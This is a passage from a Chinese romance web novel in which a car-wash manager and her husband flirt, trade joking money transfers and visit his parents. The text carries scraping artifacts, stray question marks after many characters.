感觉他?在盘算着什么鬼点?子,不想应他?,但是心底却也不想拒绝,犹豫片刻,她问,“你先说,你想让我干什么?” 易年眉眼微挤:“我还没想好。” “……” 说不上来是为何,没听见?易年说具体要做的?事,夏树心里还有点?小小的?落空。 最后一首歌结束,男歌手对着话筒说了散场,他?收拾着东西,广场上围观的?人便逐渐起身离开?。 “我们也回?去吧。”夏树说。 易年起身,眼睛指向男歌手:“我过去跟他?说点?事,你要在这里等我还是跟我一起?” “……你找他??给他?点?歌的?钱。” 易年笑而不语,男歌手在这时朝两人走了过来,他?放下手中的?音响和吉他?包,易年走向前,跟他?碰了下拳。 “这段时间电话打不通,原来是又出来找灵感了啊!”易年说。 许珩眼底透出无奈,似笑非笑道:“家里那两位逼得紧,关机几天躲躲。找我有事?” 易年回?头瞥一眼夏树,音量稍稍压低:“你家现在那个?项目的?五号地块,要拜托你帮个?忙,你直接让你助理?跟你说吧,我老婆在,咱们不说公事。” 闻言,许珩冲易年身后的?夏树随意摆了摆手:“Hello!” 夏树只见?两人碰拳,没听见?两人的?谈话,顶着一头问号朝两人走过去,走到近处看清眼前的?男人,总觉得在哪里见?过:“你们……认识?” 易年抬下巴指了指许珩:“正式介绍一下,许珩,我弟!”他?侧头看向夏树,“这是我老婆,夏树。” 许珩偏头抱起了双臂:“滚,谁是你弟!” “比我小一天也是小啊,这是事实。”易年手臂轻轻搭上夏树的?肩,“快,叫嫂子。” 夏树在一旁看得云里雾里,但她可以断定,这两人不但认识,关系还不错。 她仰头看易年,微微嘟着唇:“难怪你能点?歌,合着你俩认识,故意耍我呢!” 许珩面露鄙夷:“喂喂喂!你俩收着点?,这狗粮我可不吃!” “……” 说不上来为何,夏树觉得有点?怪,眼前这个?叫许珩的?人似乎没有把她当成第?一次见?面的?人,她立刻搜索着脑海里好看的?男人,终于想起来这张脸的?出处。 她激动地拍了下手:“啊!我想起来了,你也是‘感同声受’的?电台DJ吧,去年‘感同声受’举办的?年度影响力人物颁奖晚会,我见?过你,只不过那天我很忙,还带了口罩,领了奖金就走了,你应该对我没什么印象。” 许珩姿态轻慢,跟二世祖一样歪坐到了他?的?音响上:“记得,讲鬼故事的?,金鑫鑫。” 夏树之所以对许珩有印象,是因为那时的?颁奖晚会,所有人都着正装出席,而他?穿了件黑色皮衣,抱着头盔,机车手套都未脱下,大摇大摆地走进会场。 那时候夏树的汽修厂才开起来没多久,她是抽空去领的?奖金,就穿着修车的?工作服,到那里发现她的?着装是异类,才赶紧出去买了个口罩戴上遮羞。 不过…… “我那天带了口罩,你怎么还会记得我?” “这个……”他故意拖着腔调,看了易年一眼,“我也是你电台粉丝,听你声音就听出来了。” “那也太巧了吧!”夏树有些激动,“你跟易年认识,我们也算是认识,今晚又在这里偶遇,剧本都不敢这么写!” 许珩没什么反应,只是漫不经?心掀了下眼皮,似笑非笑地瞥着易年:“嗯,是挺巧。” 易年清了清嗓:“那我们找个?地方?坐坐?” “算了,我不当电灯泡!”说着,许珩便重新将?吉他?挂到肩上,提起音响,“走了,你的?事明天给你答复。” 看着许珩扬长而去的?背影,夏树踮起脚尖够到易年耳畔,小声说:“你这朋友看上去好有个?性!” 她其实想说他?好拽,但似乎不太礼貌。 “别管他?,他?进入创作状态都是这样。” “创作?” “写歌,他?是独立音乐人,今晚唱的?那些歌应该都是他?的?半成品,要是制作好了不会拿出来唱。” “这样啊。”想来许珩做的?应该是音乐电台,夏树没多想,她按亮手机看了眼时间,“走吧,我们也回?去了,明早上还要去酒庄签收新到的?耗材,今天得睡早点?。” 说着,她便往前走,却被易年从后面勾住了手臂。 她回?头凝眉瞥他?:“干嘛!” “把手给我。”易年把右手手掌伸到夏树面前,“你答应我的?事,就,跟我牵着手走回?去。” 突如其来的?牵手要求,让夏树神色一滞。 虽说之?前也跟他?牵过手,但那时候是在长辈面前,为了做戏,她没有多少顾虑。 而此刻,她已知晓易年想追她的?心思,被要求牵手,她反倒紧张起来,手掌半握成拳,拇指和食指不停地互相摩挲。 感觉自己的?左手很重,根本没办法自己抬起来,交到易年手上。 她的?脸颊微微发烫,忽闪着眼睫:“不,不算,你跟他?本来就认识,无论怎么样他?都会唱你点?的?歌,你这分明是套路我!” 易年嘴角轻轻牵着,将?夏树的?话当成耳旁风,直接上前一步,将?手指穿过夏树的?指缝,牵着她向前走:“我才不管,反正你答应我了。”- 路灯下两人的?影子时短时长,一直紧紧挨在一起。 这一次,两只手十指紧扣,夏树心里的?感觉和之?前不太一样。 有温暖,温暖中又带着小小的?雀跃。 易年好像刻意放慢了脚步,她也随着他?的?频率慢慢向前。 夏树的?指腹轻搭着易年的?手背,感觉到了他?手上因香蕉水桶爆炸时留下疤。 她未掀眼睫,目光自然落在地面,柔声问:“你的?手,现在还会疼吗?” “不会。”他?的?声音很轻,“早就不疼了,现在它?好像还有点?兴奋。” “……” 易年直白的?表达,让夏树不太适应,她轻咬下唇,想试图用?其他?话题来转移注意力:“对了,刚刚你说你比许珩大一天?” “嗯。” “那他?是处女座啊!” 夏树记得,易年的?生日是狮子座最后一天,8月22日。 易年侧过头:“你还记得我生日?” “嗯。”夏树点?了点?头,“那年我们去三清镇你家的?酒庄给你过生日,我是第?一次见?那种电视剧里的?豪门派对场景,印象深刻。” 高二的?暑假,易年邀了几个?同学?去三清,一开?始夏树并?不知道是他?十七岁生日,什么礼物都没准备。 去到之?后她觉得空手而来不好意思,就用?布场的?边角料涤棉线,编了条绿色和白色相间的?茉莉藤手绳。 “你还记得吗,当时我临时就地取材编了条手绳送你,说等你十八岁送你份更好的?礼物,只是没想到后来礼物也没补上,就闹掰了。” “不记得。” “居然不记得?”夏树故作不满,“白瞎我那么好的?手艺!那条手绳我记得很好看的?!” “我是说我不记得我们闹掰了!”易年停住脚步,稍稍正色,“夏树,我跟你之?间发生过的?不好的?事,你别记了,忘了行?吗?” 其实自从重逢后,夏树就已经?慢慢将?原来的?不愉快抛之?脑后,原来跟易年之?前发生过的?有趣的?事,潜移默化地占据了那一部分不太美?好的?记忆。 她抬眸,眼波晃动着,对上他?的?眼:“嗯,我已经?忘了。” 下一秒,两人相视而笑。 “那过段时间我生日,你要不要把当年欠我的?十?*八岁生日礼物送给我?”他?说。 夏树眼珠转了半圈:“对哦,你生日快到了,那让我好好想想……” 易年眉心微蹙:“要想什么?” “想想送你什么啊!这段时间你帮了我这么多,我不得好好准备一份大礼。” 易年轻抬着唇角,眼神中似乎带着期待:“不用?准备什么,就你原来想在我十八岁送给我的?礼物,重新送一次就行?了。” “可是……”夏树抿了抿唇,“我之?前根本就还没想啊,你十八岁要送你什么。” “我——”易年的?期待被失望取代,“你难道就一次也没想过,要送我什么成人礼?” 夏树不知为何易年反应这么大,觉得他?这脾气来得莫名其妙,瘪了瘪嘴:“你当年,好像,什么都不缺吧!” 易年:“……” 第44章 易年?嘴角浅淡的笑意霎时没有了,周遭安静下来,两人继续向前缓慢走着,路上只听得见彼此的脚步声。 街灯下,两个影子时长时短,始终挨在一起?。 不多时,夏树的手被另一只宽厚的手掌报复似的捏了一下,她仰头看易年?,他?眉头微蹙,一脸无辜的模样。 “你怎么?就对我一点也不上心呢!”他?说。 “嘶——”夏树想把手抽出来,却无济于事,“你发的哪门子疯?” “别动!”他?没有要松开她手的意思?,继续向前走着,却也没说话。 十多分钟就能步行到?家的路程,两人走了将近半小时。 进了家门,换鞋的时候,易年?才将夏树的手松开。 掌心染了一层薄汗,夏树用指腹轻轻刮过?,触到?了自己?掌心的茧,才反应过?来,这?次与?他?牵手的过?程中,自己?居然丝毫没有介意,他?会不会摸到?那一层茧。 回想起?重逢后在医院的走廊,她抬手跟他?打招呼,那时根本不想他?多看她的手一眼。 不得不承认,夏树那时对易年?的感觉和此刻完全不同,说不上来到?底是哪里不一样,只知道,有他?在,自己?会很?安心。 但是产生的这?种想法,让夏树很?费解。因为她从小到?大从心理上没有依赖过?任何人,在此之前,除了看见银行卡上的数字能让她感到?踏实,还没有任何人任何事能让彻底地放心去依赖。 包括她的三个徒弟,她从未想过?他?们会跟着自己?一辈子,总觉得有一天他?们有了自己?想过?的生活,一定会离开她。 易年?换先换好鞋,回头看见怔在原地的夏树,抬手揉了揉她的发顶:“我的背这?么?好看?都看呆了。” 回过?神来,夏树嫌弃地白了一眼易年?放在她头顶的手,然后惦着脚尖,学着易年?的动作摸了摸他?的头。 易年?蹙眉:“你干嘛?” “撸狗!”说话间,夏树脚跟落地,她又抓了几下他?的下巴。 易年?钳着夏树的手腕,不气反笑:“你怎么?这?么?幼稚!” 夏树仍未停手,嘴唇微嘟,继续抓着他?的下巴:“我这?不是学你吗,天天有事没事就摸我头!” “狗狗乖!听话点,姐姐给你买小零食!” 易年?眼中的笑意浸上几分无奈,悠悠地将夏树的手从自己?的下巴移开,慢慢俯下身去,逐渐拉近两张脸的距离。 夏树下意识后退一步,易年?却突然伸出另一只手揽住她的腰。 “……”她不争气的心脏又开始毫无章法地乱跳了。 以为易年?会做点什么?来“报复”她,不料下一秒,易年?脸上的浅笑漾开。 “汪!” “那我等着姐姐的小零食。” 夏树:“???” 如果易年?是贱嗖嗖地说这?话还好,可他?偏偏笑得真挚又可爱,眼睛还里闪着黏糊糊的光,真的像一只讨主人喜欢的乖顺小狗。 夏树打了个寒颤,觉得这?,多多少少有点,咳咳——变态! 说起?来,易年?还比她大两个多月,上次他?手包着纱布,请她帮忙扣扣子,那时候故意让他?叫声姐姐来听,没想到?他?真的叫了。 这?次她也是开玩笑来着,可易年?这?反应,她实在接不住。 带着热浪的空气静止几秒。 夏树转了个身,脱离了易年?放在自己?腰间的那只手,同时将被钳住的手腕挣开,像只落荒而逃的小兔子,灰溜溜地跑回卧室- 吹干头发出了浴室,夏树拿起?手机,屏幕显示易年?给她发了两条消息。 【姐姐怎么?跑了,是不想给我买小零食了?】 【姐姐不回信息,[小狗emoji]默默流泪……】 夏树差点没把手机扔了! 他?,易年?,之前这?么?高傲的一个人,怎么?会有这?么?又茶又狗的一面???!!! 但是想想,不对啊!自己?要是应付不了他?的这?一套,那还不是被他?拿捏了! 于是,眼珠一转,夏树给他?转了250块过?去。 对方很?快回了信息:【?】 夏树:【姐姐忙,你拿着这?二百五自己?去买,喜欢吃什么?买什么?,不够的话跟姐姐说,姐姐再多给你补几个二百五】 易年?收了款,又发来:【那就再补270】 夏树:【?】 易年?:【自己?加一下】 250加270等于……520! 夏树:【没钱!】 易年?:【[转账]向你转账520.00元】 “……”夏树没收,立马点了退款。 易年?:【退了干嘛,不是没钱吗,我这?刚好有】 他?这?哄人的手段一套一套的,夏树很?难相信他?原来没有谈过?女朋友,说他?是海王还差不多! 她回复:【再继续这?样婊里婊气的来故意惹我,小黑屋见!睡!】 她刚摁熄屏幕,躺进被子,手机又响了一声。 易年?:【好,不敢惹了!我是想说明早上我有其他事不去蓝韵,让沈师傅送你去,然后中午回家吃饭,爸妈回来了】 夏树:【哦】- 第二天起?床,出了房间,保姆孙阿姨已经做好了早餐。 “太?太?,易总已经走了好一会儿了,他?让我跟您说,他?虽然早餐吃饱了,但还是会去买小零食的。” 孙阿姨没有去猜测小夫妻两人的暗号,只是照易年?的意思?转述了话。 夏树反应了几秒,没想到?易年?还记着姐姐给小狗买零食这?一茬,她讪讪地朝孙阿姨笑了笑。 吃完早餐去到?蓝韵,耗材商也正巧到?,签收了耗材,夏树照例每间洗车间都去检查一遍,走到?其中一间,罗超正拿吹水机吹着一辆车子的坐垫。 吹水机噪音大,夏树走到?罗超身后拍了拍他?的肩,他?才发现她在他?后面。 “有烘干机,你怎么?拿吹水机吹呢?”夏树问。 罗超:“烘干机都在用着呢,这?个车主他?又是吃完午饭就走,等不了那么?长时间,我才用吹水机。” 往常吹水机多数时候是用来吹脚垫,一些?比较难干的坐垫就要用烘干机。 自从洗车间试营业以后,正巧来酒庄度假的人也多了起?来,夏树发现了烘干机不够这?个问题。之前都是每批垫子烘两个多小时,再换下一批,像今天这?种车主等不了情况,还是第一次出现。 “行吧,那你继续吹吧。” 巡查完所?有洗车间,夏树认真算了算。 目前只有三台烘干机,当所?有车子饱和时,需要烘干的坐垫数量庞大,三台烘干机肯定工作不过?来。 前几次洗车部的事,夏树都是和易年?的助理何铭对接,今天易年?和何铭都不在蓝韵,她决定借着拿耗材收据给财务的功夫,直接去申请一笔钱,用来多购置几台烘干机。 她之前并?没来过?蓝韵的行政办公区,这?是第一次补耗材,也第一次拿收据给财务,财务办公室问了几个人才找到?。 夏树敲门而入,将收据恭敬地递给财务张姐:“您好,我是洗车部的,这?是今天补货的收据,您收一下。” 张姐手上还忙着工作,只抬头瞟了夏树一眼,便垂下头,用手中的笔尾指了指办公桌一角的空位:“放着,月底统一报销。” 夏树虽未踏入过?职场,却也听周雨唯说过?一些?职场的事,对于财务冷淡的态度,她并?不意外。 她把耗材收据工整地放在办公桌上:“我还有一件事,就是得申请一笔钱来买一批烘干机,这?次耗材我垫付的钱,要等月底才能报销,所?以我手上也拿不出钱来垫付了。” 张姐翻了翻耗材收据:“东西准备好了再来。” 夏树:“东西?我要准备什么?东西吗?” 张姐似乎没了耐心:“你们这?个部门,谁负责?” “洗车部负责人是我。” 张姐:“那你怎么?什么?都不知道?你要申请费用,写清楚单子,给这?边领导签了字,盖了章,我才能批。你领导是谁?” “我领导……应该是,易总?” 易年?倒也没跟她说过?她的直属领导是谁,只交代过?任何事都可以直接找他?,或者找助理何铭,但她为了不麻烦易年?,之前都是找的何铭。 财务对眼前这?一问三不知的年?轻姑娘无奈至极,但想了想,与?蓝韵合作的洗车行,来的人应该也都是洗车出身,没什么?见识,不懂这?些?规矩也能理解。 “你确定是易总?他?会管这?些?小事?你就直接告诉我平时都是谁跟你们洗车部对接!” “是何铭何助理。” “何助理?”张姐有打量了一眼,“那你照我刚说的,全部准备好了再来。” 夏树隐隐地从张姐的神情中察觉出一丝嫌弃,但她还是把这?当成职场常态来礼貌应下。 出了财务办公室,她心里却挺不是滋味。 她属于技工,之前只需要用技术满足客户的需求,除了偶尔需要应付讨价还价的顾客,其余时候客户都还是客气,很?少有遇到?被嫌弃的情况。 她不知刚刚财务对她态度,是性格使?然,还是因为她什么?都不懂而嫌她蠢。 这?时候,她突然想起?来易年?。 易年?教了她做生意,却没有教她如何应对一些?职场小状况。 她在想,易年?在这?种情况下,应该会教她如何高情商与?同事相处,如何用语言艺术来把主动权掌握在自己?手里。 在电梯里,夏树鬼使?神差拿出手机,给易年?发了个白色拖把小狗的表情包。 易年?几乎秒回:【怎么?了姐姐】 看见信息的一瞬间,夏树嘴角不自觉上翘,迅速将几分钟前的不愉快抛之脑后。 夏树:【盯梢,看你买零食没】 电梯门正好打开,夏树抬眼,从电梯没的镜面墙看见了自己?的表情,居然笑得很?开心。 她一直以为她对易年?的耍宝或是嘴贱都极度鄙夷,平时当着他?的面,她肯定会怼回去的,竟没想到?,他?不在事,自己?会是这?样的表情。 紧接着,他?发来:【要查岗?那姐姐不得给我安排个能被合理查岗的身份?】 第45章 出了电梯,夏树把手机揣进口袋,步履轻快地朝洗车间走,没打?算给易年顺杆往上爬的机会。 工位上事情不少,而且她确实也不知道要怎么回易年的信息。 最近易年争名分?的小心思和小动作越来越明显,经常得了便?宜还卖乖,夏树要是多跟他说?几?句,就会被他绕进去。 靠近洗车间,一个刚从一辆橄榄绿法拉利296车上下来的年轻女人,朝夏树喊了声夏经理。 夏树认得她,叫江昕慈,前几?天来过蓝韵一次,那次洗车时从座位缝隙里找到了一枚蓝宝石戒指,江昕慈特地来洗车间感谢了帮她洗车的师傅。 夏树还不太适应经理这个称呼,却也礼貌地朝江昕慈微笑颔首:“江总,您又来啦!车随便?停着就行,您在这边稍坐一下,我?这就叫摆渡车来接您。” “谢谢。”江昕慈微笑,“今天车子不脏,发动机不用?洗,随便?洗洗车身和内饰就行。” “对?了,我?想问问上次,你们是不是连我?的安全?带也洗过?” 夏树:“对?,清洗安全?带,是在我?们业务范围内的。” 江昕慈:“难怪,上次取了车,安全?带才系上,我?就闻见淡淡的香味,一般洗车好像不会洗安全?带,没想到你们洗得这么仔细,谢谢夏经理。” 夏树笑笑,通过对?讲叫了摆渡车,将江昕慈引到旁边的待客椅坐下:“江总,您客气?了,这是我?们应该做的。上次我?发现您车里的香氛是石榴香,所以?在洗坐垫和安全?带的时候就擅自用?了石榴味的清洗剂,您满意就行。” 江昕慈原以?为蓝韵新推出的洗车服务只是应付了事,毕竟这是免费项目。 没想到洗过一次就发现,隐藏在酒庄的洗车间居然?不输市区的任何一家名车服务会所,帮她在犄角旮旯找到了丢失大半年的戒指不说?,连清洗剂的味道都会根据车主的香氛来选择。 “夏经理,我?看?工人的服装上写着“鑫鑫洗车”,你们是在市区还有店吗?你们洗的车我?很满意,我?想今后就认准你们家了。” 夏树端了杯水过来:“江总,我?之前是开着一个汽修厂,不过现在汽修厂没开了,只和蓝韵酒庄合作洗车,市区没设门店。” “这样啊,那怪可惜的,你们洗车细节处理得这么好,连我?车里的香氛味都注意到了,说?实话我?很惊喜,我?还以?为是市区也有门店,因为业务好,所以?才会和蓝韵合作。看?来今后我?想找你们洗车,就只能从市区跑来蓝韵了。” 自从和易年签订合同后,夏树就重?新研究了关于车辆精洗的所有细节,考虑到每一辆车子的车载香氛味道都不同,她购置了许多味道的清洗剂,有的香味比较独特的,没有相应的清洗剂,她则是用?香氛精油融进无味净洗剂进行调味。 这算是她的一个小巧思,且目前单看?江昕慈的反馈,这一巧思可继续推行。 得到客户的认可,夏树心头如沐清风:“谢谢江总对?我?们工作的肯定。” 以?前汽修厂面对?的客户是中低阶层较多,很少接触上流人士,她还想说?些什么感恩的话,但是又怕对?方觉得她太官方,不够有诚意,就只补充一句,“您能满意,我?和我?们洗车部的所有员工都很开心。” 说?话间,摆渡车开到了洗车间,夏树将江昕慈送上摆渡车。 江昕慈:“那车子就拜托夏经理和洗车师傅了,”她遗憾地轻啧一声,“我?还是觉得,你们要是能在市区也开一个名车会就好了。” 送走了江昕慈,夏树在她记录客户反馈的笔记本上写下了“橄榄绿法拉利296车主对?特调香氛清洗剂很满意”。 写完这句话,她没立刻将笔盖合上,而是托着下巴思索片刻后,又写了一句“客户建议市区开设门店”。 合上笔记本,夏树让易年助理何铭给她发了份费用?申请表的模板,她将纸张打?印出来,正写着烘干机费用?申请,就听见了熟悉的汽车发动机声。 一抬眼?,易年的库里南正往洗车间驶来,她看?了眼?时间,应该是沈师傅来接她去易年父母家吃饭。 夏树跟保钦元交代?了自己要先走,让他照看?着,转头,就看?见易年从库里南后座下来。 “你怎么来了?”她上前问。 易年理所当然?道:“来接老?婆,不可以??这里又没其他人,你怕什么!” 夏树说过目前不想太多人知道他们的关系,所以?平时易年和她都是在停车场分?开,再各自去各自的岗位。 洗车间这边位置偏,不会有什么人过来,夏树倒也没多想。 但被洗车间所有徒弟们注视着,她还是觉得不太舒服。 她给所有人递了个“该忙什么忙什么”的眼?神?,然?后冲易年瘪了下嘴:“你不是说?你有事要忙?忙完了?” 易年点了点头:“我不仅把自己的事完成了,”他微微弓腰,将双唇靠近夏树耳畔,“还完成了姐姐交代?的事。” 夏树递了个疑惑的眼神?,易年则是拉起她的手腕,将她带到车后,打?开了后备箱。 “不知道你喜欢吃什么零食,就随便?买了点。” 夏树:“???” 这满满一后备箱,是随便?买了点? “可是,我?不爱吃零食。” 倒不是故意扫兴的,夏树是真的不喜欢吃零食。 原来修车,也算是体力?活,要是吃零食,零食占了肚子,但是不抗饿,撑不了一天,久而久之,她就彻底把零食戒了。 易年脸上也没有失落的模样,他轻勾着唇:“没事,你想吃的就吃,不想吃的交给我?就行,姐姐给我?钱让我?买零食,我?肯定要吃完啊。” “……”夏树白他一眼?,“你有本事就去到你父母面前也叫我?姐姐!”- 这算是第一次婚后正式见家长,易年按照父母的喜好为夏树准备好了带的见面礼。 车子驶进别墅中,保姆就出来帮两人提东西,保姆说?太太和易总正在厨房做饭。 夏树有些意外,小声问易年:“你爸妈居然?还会做饭?” 易年弹了下她的脑袋:“待会儿可别说?‘你爸妈’这样的字眼?!” 夏树立马比了个将嘴巴拉链拉上的动作。 “把‘你’字去掉,再说?一遍刚刚的话。”易年说?。 那两个字,对?于夏树而言,有点难以?叫出口。她已经好几?年没叫过自己的父母,从她最后一次离开家以?后,她的父母似乎也在憋着气?,从来没有联系过她,所以?根本没有机会叫。 之前去周雨唯家,倒是叫过干爸干妈,可有些话差了一个字,意思完全?不一样。 易年似乎察觉她脸上犹豫不定的神?色,用?指尖拂去一根粘在她脸颊的发丝,轻声问她:“怎么了,是不习惯,还是……?” “没关系,你要是不现在就改口,可以?慢慢来。” 夏树轻巧地笑笑:“咱爸妈居然?还会做饭吗?” 话落,易年勾起了唇角,自然?地牵起夏树的手:“会做,但是平时不做,这不是儿媳妇第一次来家里嘛,他们才会亲自下厨。” 进门后,易年直接带着夏树去了厨房。 本以?为是易年母亲掌勺,父亲打?下手,没想到厨房里正好反了过来。 易年的父亲易其东不仅会炒菜,还会颠锅,红色的火焰在炒菜锅周围蔓延,那架势,看?上去确实有两把刷子。 而易年的母亲李妍玲,就穿着围裙优雅地站在一旁,像是被腾起的火焰吓到了,却也不忘夸两句“哇,老?公好棒”。 “拉拉队长李女士!” 听见易年的声音,李妍玲才从迷妹的状态抽离,回过头时已经端起了长辈的模样。 “年年,小树,你们来啦!” 闻声,易其东也将火调小:“儿子儿媳妇来了啊!再等会儿,菜马上弄好了。” 可能是因为沾了些烟火气?,易其东和李妍玲看?上去比上一次在祖母家见时还要更加和蔼亲切。 夏树本以?为很难开口的称呼,居然?流畅地喊了出来:“爸,妈,我?来给你们打?下手吧,我?厨艺也还是可以?的。” 易其东:“不用?不用?!让年年带你到处逛逛,这里有我?!” “这哪行!”李妍玲说?,“今天是你们婚后第一顿在家里吃的饭,肯定要由我?跟你爸做的,等你们婚房安置好了,去你们那边,你再给爸妈做!” 易年轻轻摇晃夏树的手,微笑着垂眼?:“你就别管了,交给爸妈就行。” “我?看?看?!”李妍玲突然?拉起易年的另一只手,温柔地斥责,“要不是你大伯母跟我?说?,我?都不知道你手受伤,这都脱了一层皮,又长出新肉了,你还在电话里说?不严重?!” 从上次去过祖母家后,李妍玲就打?了好几?个视频给易年,问他手的情况,易年不肯说?,只说?是小问题。 “真没什么,这不已经好了吗!”易年扬了下手背,“也亏两只手都受伤了,才能让您儿媳妇才能好好陪着您儿子!” 第46章 夏树和易年没在厨房待太久,李研玲便让易年带着她?在家里逛逛。 两人在前院和后院逛了会儿,中午的太阳太过毒辣,易年又带着她?到书房。 书房墙上陈列着许多易年的书法作品,她?抱着欣赏艺术品的心态认真观摩,发现每一幅落款都写了日期,而最?后的作品日期是高中毕业那年。 夏树不禁好奇地问?:“你高中毕业后这些年,没写过字吗?还是没挂出来?” 易年跟在她?身后,嘴角的笑容浅淡且晦暗不明:“没写。” “怎么不写啊?” 易年垂睫片刻,打趣道:“原来你跟其?他人卖了我那么多字,写怕了,后来就不想写了。” 夏树眉头微微蹙起:“也?不算太多吧,就……”她?脑海里一闪而过原来那些女金主们的脸,“二、三、四、五、六、七十?,次?” “这还不多?”易年低声哼笑,指尖轻柔地戳了戳夏树的脑门,“而且,你确定才六七十?次?” “……” 还真不确定。 原来学校里有不少喜欢他的女生,很多都是夏树的回头客,买了很多次,而且还有一些同学冲着易年上过热门综艺的青少年书法推广大使的名声,来找她?买字。 这样?细细想来,确实不少。 很奇怪。 原来夏树把易年当?作好朋友兼活财神,享受他带给自己的外快,虽说不上心安理得,却也?没多少心理负担。 但是现在,两人这说不清道不明的关系,却突然让她?不受控地重新去猜测,学生时代的易年是什么心思。 她?突然想起,周雨唯跟她?提过无数次的那个假设——易年原来就喜欢她?。 “那个,我问?你个事?。”夏树脑子?飞速运转致宕机,话却自己做主来到嘴边。 “嗯?想问?什么?” “当?年,那封被我撕了的情?书的主人,你后来跟她?没发生什么故事??” 闻言,易年眉眼?微挤,随后悠闲地在转椅坐下,单手支着太阳穴侧头看着她?,意味不明地笑了起来。 “你都说情?书被你撕了,拜你所赐,表白都黄了,哪还有什么故事?。” 拜你所赐四个字,他咬得特别?重,听起来确实是在责怪她?。 静默片刻,他又笃定地说:“你想问?的不止这个吧,想问?什么可以直说。” 她?其?实还想直接问?那封情?书的主人是谁,却还是没能直接问?出口。大概是因为害怕吧,是怕听到别?人的名字,还是怕没听到自己的名字,她?也?说不上来,但好像二者都有。 她?决定先放开这个话题,毕竟不管那人是谁,都已经成为过去式了。 “我就只是随便一提,什么都不想问?。” “这样?啊,”易年悠哉地点头,不正经地揶揄,“那确实,在正追求的人面前,不太适合提原来追求的人。” “……”服了,这人莫不是她?肚里的蛔虫! 为了岔开话题,夏树的视线又落回满墙的字上,自言自语:“我字要有你这么好,肯定每年过年春联都自己写。” 身后传来窸窸窣窣的声音,夏树回头,易年从书柜里拿出几张大红纸,在桌面展开。 紧接着,他将墨汁倒入墨盒,拾起一只毛笔:“今天心情?不错,重新开笔,想要什么对?联,姐姐请说。” 听见易年要写字,夏树立马坐到了他对?面,手托下巴,眼?睛眨巴几下:“那,易老师要收钱吗?”- 易其?东做的都是些家常菜式,口味确实也?还可以,其?中双椒炒鸡蛋特别?下饭,夏树吃完一碗饭,又盛了一碗。 易年平时只见过夏树吃一碗饭,他身体?靠近夏树,看似在说悄悄话,实际完全没压低声音:“吃不了不要勉强,爸妈不会介意的。” 李研玲也?附和着:“对?呀小树,不用?太捧你爸场,不然他要骄傲了。”说完眼?含爱意看向易其?东。 “爸妈,我是真的觉得很好吃,很下饭!” 夏树发现她?在易年的家人面前不太会说漂亮话,他的家人对?她?真诚热情?,她?心里自然也?没有要应付或是奉承长辈的想法,只是以内心真是想法来,想到什么便说什么。 说完,她?看向易年,“我才没勉强呢!” 李研玲宠溺地看着两个小孩:“好好好,下午和明天也?让你爸给你们做!” 闻言,夏树轻皱着眉看易年,易年似乎看出她的疑问,解释道:“忘了跟你说了,妈下午约了人上门给你量尺寸选花色做衣服,今晚不回去了,明早上的话约了摄影师来家里拍全家福。” 李研玲:“对?啊小树,年年说你对?穿着打扮没什么要求,我呢刚好认识几个做旗袍的师傅,想着让你看看有没有喜欢的款式,做几身衣服订婚时候穿,你穿旗袍肯定好看。” 信息量有点多,夏树还在反应中,李研玲又补充,“要是旗袍挑不到喜欢的款式,就让年年带你去定礼服。” 夏树下意识应下并答谢,脑子?仍旧滞后。 易年说今晚不回去,那是不是意味着今晚两个人必须要睡在一起!? 心里揣着事?儿,夏树觉得自己突然就饱了,但她?还是硬着头皮把第二碗米饭也?吃完。 午饭结束,李研玲拿来两个红包放进夏树手里,说是她?和易其?东准备的改口费。 夏树看着红包很薄,想来也?没多少钱,为了不扫两位长辈的兴,便接了过来。 整个下午,来了好几波做旗袍的师傅,夏树对?穿着确实没有要求,并且之前几乎不穿裙子?,所以当?旗袍师向她?介绍面料和款式时,她?像在听天书。 而且心里还挂着晚上怎么睡的事?,她?实在不知要怎么挑,最?后是她?试穿了几件成品,请李妍玲替她?选了几件适合她?穿的。 晚饭后,全家人坐在前院乘凉喝茶,聊的都是些易年小时候的趣事?,整个院子?充满了两个女人的笑声。 八卦果然能拉进女人和女人之间的距离,李妍玲说得认真,夏树听得专心,夏树像是自己也?亲眼?目睹了易年的童年一样?。 李妍玲玩笑似的说起易年小时候体?弱怕鬼,夏树就将当?年一起去学校附近出租屋看鬼片,易年被吓得一身冷汗还不承认那事?说了出来。 “难怪呢,我就记得他高二有段时间,睡觉开小夜灯都不管用?,整个屋子?一夜到亮必须所有灯都开着,而且还把祖母家的狗接到家里,让大黄天天睡他房间。” “原来是因为这个,他就是嘴硬,爱逞强!” 夏树附和:“对?,嘴硬这一点,我同意!” 当?事?人在旁边无奈地看着两个聊的热火朝天的女人:“妈,你能不能别?在我老婆面前揭我短,我不要面子?啊!” 李妍玲和夏树相视一笑:“好好好,我不说了!” “小树,年年现在可不怕鬼了,去国?外几年回来,睡觉也?不用?开夜灯,有几次我还看他在听鬼故事?,早知道出国?能治这些脏东西?,就应该早点把他送出去。” “也?不行,要是他早点出国?,那也?遇不到你呀!” 易年将头别?到一边,院子?的灯只在身上留下一道半明半昧的光影。 夏树听李妍玲说完,抬手戳了戳易年的肩膀,他回头,她?用?眼?尾瞥向他:“你,现在不怕鬼了?” 上次发烧他还说自己怕来着,非要让她?留下来陪着,她?现在合理怀疑那时候易年话的可信度。 “这个嘛,”易年轻轻咳嗽,目光有些躲闪,“有的时候还是会怕的,比如生病啊,发烧啊,什么的……”- 易年的房间在三楼,回房间后,夏树前一秒回味着李妍玲说的易年小时候的糗事?,当?看见房间正中的那张床,她?立刻手足无措地僵在原地,嘴角的笑意渐渐消失。 易年似乎并未多想,走到床边拿起放在床上的男款睡衣,回头:“你先洗还是我先洗?” “啊?!什么!” “洗澡啊,你今天试了一天衣服,又陪我妈蛐蛐我一晚上,肯定累了,早点洗了早点睡。”易年的模样?坦然,一点也?没觉得尴尬或是不自在。 夏树目光缓慢地扫向床:“但是……” 易年看出夏树心里的慌乱,嘴角勾着,像在憋笑:“你放心,这么大的床,你睡你的,我睡我的!” 她?抬眼?看他,但是没见他脸上有什么坏心思,想想这毕竟在他父母家,而且以他的人品,他肯定也?不会乱来。 夏树故作镇定:“你先你先!” 易年拿着睡衣走进浴室,门锁咔哒响了一声,紧接着传来水珠落地的声音。 夏树怂了,有些站不稳,在脚踏坐下,听着这哗哗啦啦的声音,脑海中居然不自觉浮现出一瞬浴室里的场景。 她?觉得自己好变态! 怎么会联想这个! 为了防止自己乱想,夏树打开了鬼故事?论坛,又堵起耳朵,不想听见水流声,努力?让自己的心静下来。 倒也?管些用?,鬼故事?的画面很快就取代了浴中美男的画面。 不多时,易年从浴室出来,夏?*树放下捂住耳朵的双手,抄起睡衣,跟易年擦肩而过,没说话,也?没看他一眼?。 